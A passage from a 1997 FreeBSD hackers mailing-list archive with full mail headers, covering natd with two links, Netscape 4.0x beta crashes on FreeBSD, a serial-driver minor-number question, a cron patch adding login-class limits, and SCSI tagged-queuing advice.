with SMTP id LAA16697 for ; Mon, 4 Aug 1997 11:09:34 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA08586; Mon, 4 Aug 1997 13:50:02 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Mon, 4 Aug 1997 13:50 EDT Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.7.3) with ESMTP id NAA06202 for ; Mon, 4 Aug 1997 13:17:05 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id NAA02095; Mon, 4 Aug 1997 13:26:19 -0400 (EDT) Date: Mon, 4 Aug 1997 13:26:19 -0400 (EDT) From: Thomas David Rivers Message-Id: <199708041726.NAA02095@lakes.dignus.com> To: ponds!freefall.cdrom.com!freebsd-hackers, ponds!lakes.dignus.com!rivers Subject: two natd's running? Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I'm just curious... What I've got is a single machine which has been given two fixed IP addresses on two different networks (via SL/IP.) I'd like all the machines on my internal network to transparently get to either of these external networks. Now, I can use natd to provide that transparent access for one network, and with the -dynamic flag; I can appropriately adjust things... But - what should I do if I want two SL/IP connections going at the same time, on one machine; and still have the other machines on the internal network transparently get to either network? Can natd handle such a situation? Ideas? - Thanks - - Dave Rivers - From owner-freebsd-hackers Mon Aug 4 11:31:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA18684 for hackers-outgoing; Mon, 4 Aug 1997 11:31:26 -0700 (PDT) Received: from caliban.dihelix.com (caliban.dihelix.com [198.180.136.138]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA18667 for ; Mon, 4 Aug 1997 11:31:21 -0700 (PDT) Received: (from langfod@localhost) by caliban.dihelix.com (8.8.6/8.8.3) id IAA05395; Mon, 4 Aug 1997 08:30:35 -1000 (HST) Message-Id: <199708041830.IAA05395@caliban.dihelix.com> Subject: Re: netscape 4.02b7 In-Reply-To: <4339.870648420@time.cdrom.com> from "Jordan K. Hubbard" at "Aug 3, 97 03:47:00 pm" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 4 Aug 1997 08:30:34 -1000 (HST) Cc: paul@mu.org, freebsd-hackers@FreeBSD.ORG From: "David Langford" X-blank-line: This space intentionaly left blank. X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Any rumors on if they will work on the server? >Thanks also go out to a certain skunk-works project at Netscape who >produced this product for FreeBSD! > > Jordan > From owner-freebsd-hackers Mon Aug 4 12:20:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA21476 for hackers-outgoing; Mon, 4 Aug 1997 12:20:42 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA21466 for ; Mon, 4 Aug 1997 12:20:38 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA15046; Mon, 4 Aug 1997 15:20:05 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Mon, 4 Aug 1997 15:20 EDT Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.7.3) with ESMTP id PAA07769 for ; Mon, 4 Aug 1997 15:04:46 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id PAA02304 for freebsd-hackers@freefall.cdrom.com; Mon, 4 Aug 1997 15:14:00 -0400 (EDT) Date: Mon, 4 Aug 1997 15:14:00 -0400 (EDT) From: Thomas David Rivers Message-Id: <199708041914.PAA02304@lakes.dignus.com> To: ponds!freefall.cdrom.com!freebsd-hackers Subject: Netscape & floating point core dumps? Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Just curious - has anyone figured out why Netscape 4.01b6 dumps core all the time, with a floating point exception? Here's what I understand: 1) Someone said it wasn't particular to FreeBSD, that 4.01b6 has the same problem on BSDI. 2) There is a kernel change that has been suggested in this forum - does it work; or is it not helpful? 3) I've seen one mention of 4.01b7 - but I can't actually find it at ftp.netscape.com - is this available yet? - Thanks - - Dave Rivers - From owner-freebsd-hackers Mon Aug 4 12:42:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA22560 for hackers-outgoing; Mon, 4 Aug 1997 12:42:34 -0700 (PDT) Received: from spoon.beta.com (root@[199.165.180.33]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA22553 for ; Mon, 4 Aug 1997 12:42:25 -0700 (PDT) Received: from spoon.beta.com (mcgovern@localhost [127.0.0.1]) by spoon.beta.com (8.8.5/8.8.5) with ESMTP id PAA02933 for ; Mon, 4 Aug 1997 15:42:22 -0400 (EDT) Message-Id: <199708041942.PAA02933@spoon.beta.com> To: hackers@freebsd.org Subject: Suggestions for extending minor numbers... Date: Mon, 04 Aug 1997 15:42:22 -0400 From: "Brian J. McGovern" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Well, I've got my driver working for the 8 port Cyclades cards. Now its time to work on the 64 port cards. As you can see, if I have a call in, call out, call in initial state, call out initial state, call in lock state, and call out lock state, I'm going to need 384 minor numbers, which is already over the 8-bit limit on minor numbers. If I choose to support multiple boards, I could use between 768, and 1536 minor numbers, possibly more in machines with more than 4 PCI slots. With the % of CPU per board the driver is taking, 3 of these 64 port boards should be possible.... Anyhow, I've considered dropping initial and lock state devices, and use a different major number for each of the boards. I'm curious to see if this is a "reasonable thing to do" (tm), or whether this is a better way to go that I haven't yet figured out. Suggestions anyone? -Brian From owner-freebsd-hackers Mon Aug 4 12:48:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA22830 for hackers-outgoing; Mon, 4 Aug 1997 12:48:56 -0700 (PDT) Received: from whistle.com (s205m131.whistle.com [207.76.205.131]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA22825 for ; Mon, 4 Aug 1997 12:48:53 -0700 (PDT) Received: (from smap@localhost) by whistle.com (8.7.5/8.6.12) id MAA21355; Mon, 4 Aug 1997 12:48:22 -0700 (PDT) Received: from bubba.whistle.com(207.76.205.7) by whistle.com via smap (V1.3) id sma021353; Mon Aug 4 12:48:06 1997 Received: (from archie@localhost) by bubba.whistle.com (8.8.5/8.6.12) id MAA29091; Mon, 4 Aug 1997 12:48:06 -0700 (PDT) From: Archie Cobbs Message-Id: <199708041948.MAA29091@bubba.whistle.com> Subject: Re: IPFW-DIVERT change. WAS:[ipfw rules processing order..] In-Reply-To: <01BCA0BC.ED773680@ari.suutari@ps.carel.fi> from Ari Suutari at "Aug 4, 97 09:58:14 am" To: ari.suutari@ps.carel.fi (Ari Suutari) Date: Mon, 4 Aug 1997 12:48:06 -0700 (PDT) Cc: julian@whistle.com, owensc@enc.edu, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > instead of the divert port number > > (the process knows thin information anyway), the rule number from > > which the diversion occured. Also, on sendto() the port number > > could represent the rule number to restart processing from. > > in other words, if the number was 1000, processing would begin at 1001. > > > > this would allow a divert process to leave the same number there > > that it received, and to avoid loops in that way because the process > > ing would start at the NEXT rule. > > > > present programs probably just copy this number across, so > > I guess it would be a transparent change to most of them. > > > > does it leave us open to security holes that were > > blocked before? (see the reason archie gave above)? > > is this a real threat? > > can it be proven to (not be)/(be) a threat? > > > > I think this would be an easy change to make. > > what do the USERS think (divert users). > > Why not - at last natd won't mind, since it just copies > the port number. However, change might cause problems > with existing ipfw configurations if there are pass/deny rules > before divert rules. Who wants to come up with a patch? I don't have time to at the moment. -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com From owner-freebsd-hackers Mon Aug 4 12:49:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA22914 for hackers-outgoing; Mon, 4 Aug 1997 12:49:42 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA22907 for ; Mon, 4 Aug 1997 12:49:35 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wvT7z-0004Oc-00; Mon, 4 Aug 1997 12:49:15 -0700 Date: Mon, 4 Aug 1997 12:49:15 -0700 (PDT) From: Tom Samplonius To: scrappy@trends.ca cc: hackers@freebsd.org Subject: Re: System no longer finding sd(0,a)/kernel... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 4 Aug 1997, The Hermit Hacker wrote: > anything off that other drive...like, what are the chances that the problem > was merely an 'fsck' that removed /kernel, but left the other file systems > in tack :( Actually, I've seen this before. Basically should try the 2.2.2 boot and fixit disk and try a fsck on sd0a. If that succeeds chances are you will find most of / in /lost+found and will you need to sort through this. > Please respond to my Reply-To:, as the system that all my FreeBSD > mailing list stuff goes to happens to be the system that is down :( > > Thanks... > > Marc G. Fournier > Systems Administrator @ hub.org > primary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org > > > Tom From owner-freebsd-hackers Mon Aug 4 12:54:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA23181 for hackers-outgoing; Mon, 4 Aug 1997 12:54:40 -0700 (PDT) Received: from umbra.dfacades.com (umbra.dfacades.com [198.147.98.201]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA23175 for ; Mon, 4 Aug 1997 12:54:34 -0700 (PDT) Received: by umbra.dfacades.com (951211.SGI.8.6.12.PATCH1502/940406.SGI.AUTO) for hackers@freebsd.org id MAA14622; Mon, 4 Aug 1997 12:53:21 -0700 From: dleeds@umbra.dfacades.com (Daniel Leeds) Message-Id: <199708041953.MAA14622@umbra.dfacades.com> Subject: kvm_mkdb... To: hackers@freebsd.org Date: Mon, 4 Aug 1997 12:53:19 -0700 (PDT) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk hi im running 2.2.2 release. for some reason, at bootup, kvm_mkdb core dumps, segmentation fault. i disabled this from /etc/rc for now, and was wondering if this will break any functions in freebsd... w, ps, etc seem to run fine so far... what do these functions kvm_mkdb and dev_mkdb do? thanks for any help From owner-freebsd-hackers Mon Aug 4 13:07:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA23918 for hackers-outgoing; Mon, 4 Aug 1997 13:07:10 -0700 (PDT) Received: from pluto.plutotech.com (ken@mail.plutotech.com [206.168.67.137]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA23913 for ; Mon, 4 Aug 1997 13:07:07 -0700 (PDT) Received: (from ken@localhost) by pluto.plutotech.com (8.8.5/8.8.5) id OAA15894; Mon, 4 Aug 1997 14:06:49 -0600 (MDT) From: Kenneth Merry Message-Id: <199708042006.OAA15894@pluto.plutotech.com> Subject: Re: Netscape & floating point core dumps? In-Reply-To: <199708041914.PAA02304@lakes.dignus.com> from Thomas David Rivers at "Aug 4, 97 03:14:00 pm" To: ponds!rivers@dg-rtp.dg.com (Thomas David Rivers) Date: Mon, 4 Aug 1997 14:06:49 -0600 (MDT) Cc: hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28s (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Just curious - has anyone figured out why Netscape 4.01b6 > dumps core all the time, with a floating point exception? > > Here's what I understand: > > 1) Someone said it wasn't particular to FreeBSD, > that 4.01b6 has the same problem on BSDI. > > 2) There is a kernel change that has been suggested > in this forum - does it work; or is it not helpful? I'm not sure of the reason behind that problem, or of the workaround for it. I just used the Linux Netscape binary. It works fine under -current at least. (probably works under 2.2.2 as well, I dunno for sure.) > 3) I've seen one mention of 4.01b7 - but I can't actually > find it at ftp.netscape.com - is this available yet? Look on ftp23.netscape.com. It hasn't made it out to all of their other ftp servers yet. So far, it seems to be pretty stable. Ken -- Kenneth Merry ken@gt.ed.net From owner-freebsd-hackers Mon Aug 4 13:11:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA24238 for hackers-outgoing; Mon, 4 Aug 1997 13:11:36 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA24233 for ; Mon, 4 Aug 1997 13:11:28 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wvTRu-0001ON-00; Mon, 4 Aug 1997 14:09:50 -0600 To: "Lenzi, Sergio" Subject: Re: Security hole script. Cc: hackers@freebsd.org In-reply-to: Your message of "Mon, 04 Aug 1997 10:12:18 -0000." References: Date: Mon, 04 Aug 1997 14:09:50 -0600 From: Warner Losh Message-Id: Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message "Lenzi, Sergio" writes: : Here is the "script" that opens a hole in our FreeBSD 2.2.2... This was in bugtraq a while ago. This is fixed in the 2.2-stable tree. Warner From owner-freebsd-hackers Mon Aug 4 13:40:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA25863 for hackers-outgoing; Mon, 4 Aug 1997 13:40:11 -0700 (PDT) Received: from spoon.beta.com (root@[199.165.180.33]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA25858 for ; Mon, 4 Aug 1997 13:40:08 -0700 (PDT) Received: from spoon.beta.com (mcgovern@localhost [127.0.0.1]) by spoon.beta.com (8.8.5/8.8.5) with ESMTP id QAA03104 for ; Mon, 4 Aug 1997 16:40:05 -0400 (EDT) Message-Id: <199708042040.QAA03104@spoon.beta.com> To: hackers@freebsd.org Subject: SIGURG on ppp drop Date: Mon, 04 Aug 1997 16:40:05 -0400 From: "Brian J. McGovern" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Can I assume safely that if I am fetch'ing a file across a PPP link, and that link goes down (thereby removing the route, and causing a "No route to host" error message when pinging) that the fetch process will receive a SIGURG? I'm curious, because I'm running some tests that require fetch to die if the link goes down, and I want to try to catch SIGURG, and then "cleanup and exit"(tm). -Brian From owner-freebsd-hackers Mon Aug 4 13:58:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA27170 for hackers-outgoing; Mon, 4 Aug 1997 13:58:50 -0700 (PDT) Received: from super-g.inch.com (super-g.com [207.240.140.161]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA27159 for ; Mon, 4 Aug 1997 13:58:46 -0700 (PDT) Received: from localhost (spork@localhost) by super-g.inch.com (8.8.5/8.8.5) with SMTP id RAA28554; Mon, 4 Aug 1997 17:04:14 -0400 (EDT) Date: Mon, 4 Aug 1997 17:04:14 -0400 (EDT) From: spork X-Sender: spork@super-g.inch.com To: Kenneth Merry cc: Thomas David Rivers , hackers@FreeBSD.ORG Subject: Re: Netscape & floating point core dumps? In-Reply-To: <199708042006.OAA15894@pluto.plutotech.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > other ftp servers yet. So far, it seems to be pretty stable. Have you tried backspacing in the URL field yet? It's a cruel joke. Alot of keymappings are just wrong. To scroll up and down a page with arrow keys, you must use "shift arrow"... And a warning message pops up each time a preferences dialog box is opened. Other than that, it almost seems faster than the 3.0 version at drawing tables... Charles > > > Ken > -- > Kenneth Merry > ken@gt.ed.net > From owner-freebsd-hackers Mon Aug 4 14:06:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA27685 for hackers-outgoing; Mon, 4 Aug 1997 14:06:01 -0700 (PDT) Received: from pluto.plutotech.com (ken@mail.plutotech.com [206.168.67.137]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA27653 for ; Mon, 4 Aug 1997 14:05:56 -0700 (PDT) Received: (from ken@localhost) by pluto.plutotech.com (8.8.5/8.8.5) id PAA17388; Mon, 4 Aug 1997 15:05:43 -0600 (MDT) From: Kenneth Merry Message-Id: <199708042105.PAA17388@pluto.plutotech.com> Subject: Re: Netscape & floating point core dumps? In-Reply-To: from spork at "Aug 4, 97 05:04:14 pm" To: spork@super-g.com (spork) Date: Mon, 4 Aug 1997 15:05:43 -0600 (MDT) Cc: ken@plutotech.com, ponds!rivers@dg-rtp.dg.com, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28s (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk spork wrote... > > other ftp servers yet. So far, it seems to be pretty stable. > > Have you tried backspacing in the URL field yet? It's a cruel joke. Alot > of keymappings are just wrong. To scroll up and down a page with arrow > keys, you must use "shift arrow"... And a warning message pops up each > time a preferences dialog box is opened. I don't see *any* of those bugs. I can backspace in the URL field just fine, I can use the plain arrow keys (no shift) to scroll up and down a page, and no warning message pops up when I open the preferences dialog box. For the keymapping problems, I suspect that something in your X setup is broken. As far as the preferences go, I have no clue. Ken -- Kenneth Merry ken@plutotech.com From owner-freebsd-hackers Mon Aug 4 14:20:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA28537 for hackers-outgoing; Mon, 4 Aug 1997 14:20:51 -0700 (PDT) Received: from mailbag.jf.intel.com (mailbag.jf.intel.com [134.134.248.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA28531 for ; Mon, 4 Aug 1997 14:20:48 -0700 (PDT) Received: from aahz.jf.intel.com (aahz.jf.intel.com [192.198.161.2]) by mailbag.jf.intel.com (8.8.6/8.8.4) with ESMTP id OAA28711 for ; Mon, 4 Aug 1997 14:21:33 -0700 (PDT) Received: (from batie@localhost) by aahz.jf.intel.com (8.8.5/8.8.5) id OAA29026; Mon, 4 Aug 1997 14:18:52 -0700 (PDT) Message-ID: <19970804141852.47074@aahz.jf.intel.com> Date: Mon, 4 Aug 1997 14:18:52 -0700 From: Alan Batie To: hackers@freebsd.org Subject: login classes Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-md5; boundary=ew6BAiZeqk4r7MaW X-Mailer: Mutt 0.76 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk --ew6BAiZeqk4r7MaW Content-Type: text/plain; charset=us-ascii FreeBSD 2.2.2-RELEASE Login classes are a great idea...if they were actually used... Every time I turn around (ok, twice, so far :-) ), I find something that doesn't actually use them, which results in "cannot fork" errors (being an X user with a multitude of windows, I quickly reach the default per-user process limit). I've already hacked cron to add them in, and now it looks like I need to hack smrsh so that vacation will run. God help me if sendmail gives up root before invoking smrsh and I have to hack *it*. Especially when I have two days left before I leave... IMHO, user permissions and resource limits should be managed by the kernel, in one place, not scattered all over creation where they're bound to be wrong at one time or another... KISS is especially important when it comes to security matters. Here's the patch to cron: *** Makefile.org Thu Jul 24 17:33:03 1997 --- Makefile Thu Jul 24 17:32:29 1997 *************** *** 12,17 **** DPADD+= ${.CURDIR}/../lib/libcron.a .endif ! LDADD+= -lcron .include --- 12,17 ---- DPADD+= ${.CURDIR}/../lib/libcron.a .endif ! LDADD+= -lcron -lutil .include *** do_command.c.org Thu Jul 24 17:25:36 1997 --- do_command.c Thu Jul 24 17:31:27 1997 *************** *** 28,33 **** --- 28,35 ---- #if defined(SYSLOG) # include #endif + #include + #include static void child_process __P((entry *, user *)), *************** *** 77,82 **** --- 79,86 ---- register char *input_data; char *usernm, *mailto; int children = 0; + struct passwd *pwd; + login_cap_t *lc = NULL; Debug(DPROC, ("[%d] child_process('%s')\n", getpid(), e->cmd)) *************** *** 212,226 **** */ do_univ(u); ! /* set our directory, uid and gid. Set gid first, since once ! * we set uid, we've lost root privledges. ! */ chdir(env_get("HOME", e->envp)); # if defined(BSD) initgroups(env_get("LOGNAME", e->envp), e->gid); # endif ! setgid(e->gid); ! setuid(e->uid); /* we aren't root after this... */ /* exec the command. */ --- 216,235 ---- */ do_univ(u); ! /* set our directory and user context */ chdir(env_get("HOME", e->envp)); # if defined(BSD) initgroups(env_get("LOGNAME", e->envp), e->gid); # endif ! /* become the user */ ! pwd = getpwuid(e->uid); ! lc = login_getpwclass(pwd); ! ! /* we aren't root after this... */ ! if (setusercontext(lc, pwd, pwd->pw_uid, LOGIN_SETALL) != 0) { ! fprintf(stderr, "setusercontext() failed - exiting"); ! exit(1); ! } /* exec the command. */ -- Alan Batie ------ What goes up, must come down. batie@aahz.jf.intel.com \ / Ask any system administrator. +1 503-264-8844 (voice) \ / --unknown D0 D2 39 0E 02 34 D6 B4 \/ 5A 41 21 8F 23 5F 08 9D --ew6BAiZeqk4r7MaW Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBM+ZHPBCfrckvDwdpAQG88QP7B3J5VKGN5SQ3n60aVjjtb6wOemhIRgi+ yiYcNeKrzAlxEDom4hMFmEReoHN83Z4lPzX+OveA/9rXsBiiAIZ288dek7x/3hAP Q9QOMNkgWiKFYTKa0MWRbHR2V8L7EkWgbDVPL6rE6N8BNmJkJaHuXZkHgTslpljn iv85tN4gNXk= =NOuG -----END PGP SIGNATURE----- --ew6BAiZeqk4r7MaW-- From owner-freebsd-hackers Mon Aug 4 14:38:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA29332 for hackers-outgoing; Mon, 4 Aug 1997 14:38:32 -0700 (PDT) Received: from mars.aros.net (mars.aros.net [207.173.16.20]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA29327 for ; Mon, 4 Aug 1997 14:38:27 -0700 (PDT) Received: from shell.aros.net (root@shell.aros.net [207.173.16.19]) by mars.aros.net (8.8.5/8.8.4) with ESMTP id PAA19489; Mon, 4 Aug 1997 15:37:38 -0600 (MDT) Received: from shell.aros.net (msanders@localhost.aros.net [127.0.0.1]) by shell.aros.net (8.8.5/8.8.5) with ESMTP id PAA13863; Mon, 4 Aug 1997 15:38:25 -0600 (MDT) Message-Id: <199708042138.PAA13863@shell.aros.net> X-Attribution: msanders To: Kenneth Merry cc: ponds!rivers@dg-rtp.dg.com (Thomas David Rivers), hackers@FreeBSD.ORG Subject: Re: Netscape & floating point core dumps? In-reply-to: Your message of "Mon, 04 Aug 1997 14:06:49 MDT." <199708042006.OAA15894@pluto.plutotech.com> X-Mailer: MH 6.8.3 Date: Mon, 04 Aug 1997 15:38:25 -0600 From: "Michael K. Sanders" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In message <199708042006.OAA15894@pluto.plutotech.com>, Kenneth Merry writes: > >> 3) I've seen one mention of 4.01b7 - but I can't actually >> find it at ftp.netscape.com - is this available yet? > > Look on ftp23.netscape.com. It hasn't made it out to all of their >other ftp servers yet. So far, it seems to be pretty stable. 4.02_b7 gives me bus errors when trying to do any Java. Has anyone had success with Java? From owner-freebsd-hackers Mon Aug 4 14:45:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA29668 for hackers-outgoing; Mon, 4 Aug 1997 14:45:35 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA29661 for ; Mon, 4 Aug 1997 14:45:32 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id OAA02554; Mon, 4 Aug 1997 14:44:44 -0700 (PDT) To: spork cc: Kenneth Merry , Thomas David Rivers , hackers@FreeBSD.ORG Subject: Re: Netscape & floating point core dumps? In-reply-to: Your message of "Mon, 04 Aug 1997 17:04:14 EDT." Date: Mon, 04 Aug 1997 14:44:44 -0700 Message-ID: <2551.870731084@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Have you tried backspacing in the URL field yet? It's a cruel joke. Alot > of keymappings are just wrong. To scroll up and down a page with arrow > keys, you must use "shift arrow"... And a warning message pops up each > time a preferences dialog box is opened. You've probably installed it incorrectly, e.g. without translation information. I don't see any of those problems in my copy. Jordan From owner-freebsd-hackers Mon Aug 4 14:48:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA29796 for hackers-outgoing; Mon, 4 Aug 1997 14:48:06 -0700 (PDT) Received: from cedb.dpcsys.com (cedb.DPCSYS.com [209.25.4.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA29776 for ; Mon, 4 Aug 1997 14:48:00 -0700 (PDT) Received: from localhost (dan@localhost) by cedb.dpcsys.com (8.8.5/8.8.2) with SMTP id VAA08277; Mon, 4 Aug 1997 21:47:55 GMT Date: Mon, 4 Aug 1997 14:47:54 -0700 (PDT) From: Dan Busarow To: spork cc: hackers@FreeBSD.ORG Subject: Re: Netscape & floating point core dumps? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 4 Aug 1997, spork wrote: > Have you tried backspacing in the URL field yet? It's a cruel joke. Alot > of keymappings are just wrong. To scroll up and down a page with arrow Methinks you forgot to install XKeysymDB, which with this version may consist of setting MOZILLA_HOME. Not sure about that since I do have XKEYSYMDB exported too. All the key-mappings, including ALT-left arrow/ALT-right arrow, work just fine. Dan -- Dan Busarow 714 443 4172 DPC Systems / Beach.Net dan@dpcsys.com Dana Point, California 83 09 EF 59 E0 11 89 B4 8D 09 DB FD E1 DD 0C 82 From owner-freebsd-hackers Mon Aug 4 14:51:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA29989 for hackers-outgoing; Mon, 4 Aug 1997 14:51:31 -0700 (PDT) Received: from Octopussy.MI.Uni-Koeln.DE (Octopussy.MI.Uni-Koeln.DE [134.95.166.20]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA29984 for ; Mon, 4 Aug 1997 14:51:28 -0700 (PDT) Received: from x14.mi.uni-koeln.de (annexr3-5.slip.Uni-Koeln.DE) by Octopussy.MI.Uni-Koeln.DE with SMTP id AA01340 (5.67b/IDA-1.5 for ); Mon, 4 Aug 1997 23:51:25 +0200 Received: (from se@localhost) by x14.mi.uni-koeln.de (8.8.6/8.6.9) id XAA00581; Sun, 3 Aug 1997 23:26:54 +0200 (CEST) X-Face: " Date: Sun, 3 Aug 1997 23:26:54 +0200 From: Stefan Esser To: Peter Mutsaers Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: What is a good SCSI tags value? References: <8767toi0q9.fsf@plm.xs4all.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.74 In-Reply-To: <8767toi0q9.fsf@plm.xs4all.nl>; from Peter Mutsaers on Sun, Aug 03, 1997 at 02:11:58AM +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Aug 3, Peter Mutsaers wrote: > I noticed (though LINT and ncrcontrol) that I can set the number of > tags used. I have a NCR board and used to have the FAILSAFE option > set. This reduces SCSI_NCR_DFLT_TAGS to 0. > > One of my 3 disks seems to support tags. Now I wonder: > > - What exactly are these tags? I think it is something like number of > concurrent disk operations, is that correct? The tag is sent together with the command. When the disk drive knows it won't have to send data for the next few micro-seconds (or even a shorter time), it will give up SCSI bus ownership, and will reselect the initiator (SCSI controller) again, when there is data or a result to transfer. If a tag has been sent with the command, it will be sent back on each reselect, and the host adapter knows on which command to continue. The drive is free to change the order of commands, as long as the final state of the data on the media is the same as had resulted from the original sequence of commands. (There exists an "ordered" tag, which will imply a "barrier": All earlier commands will be completed before this command is started, and no later command will be started before it completes.) The drive can not only read data in the most appropriate order, but can also start another transfer of data on writes, and signal success later, if working with tags. This gives the same effect as "early return" on writes, where a success status is returned when all data is in the drive's cahce, but with no risk that the data may still be lost by a hard drive failure. > - I can set it to 16, maximum. What is a good value? I've performed quite some tests, and found a value of 4 to 8 to be optimal. One of the reasons is, that the NCR driver keeps all the command control blocks in a linear list, and has to search that list for a matching CCB in a number of situations. Increasing the number of tags makes this list grow, and the system time per command goes up. With 16 tags, I found reduced throughput at higher CPU load, in my tests. But it is well possible, that a system that is I/O bound will take more advantage of the drive optimizing accesses than lost because of higher CPU load. And: There appears to be no "fairness count", and some SCSI commands may be delayed by more than 5 seconds. This can cause a command to be aborted because of 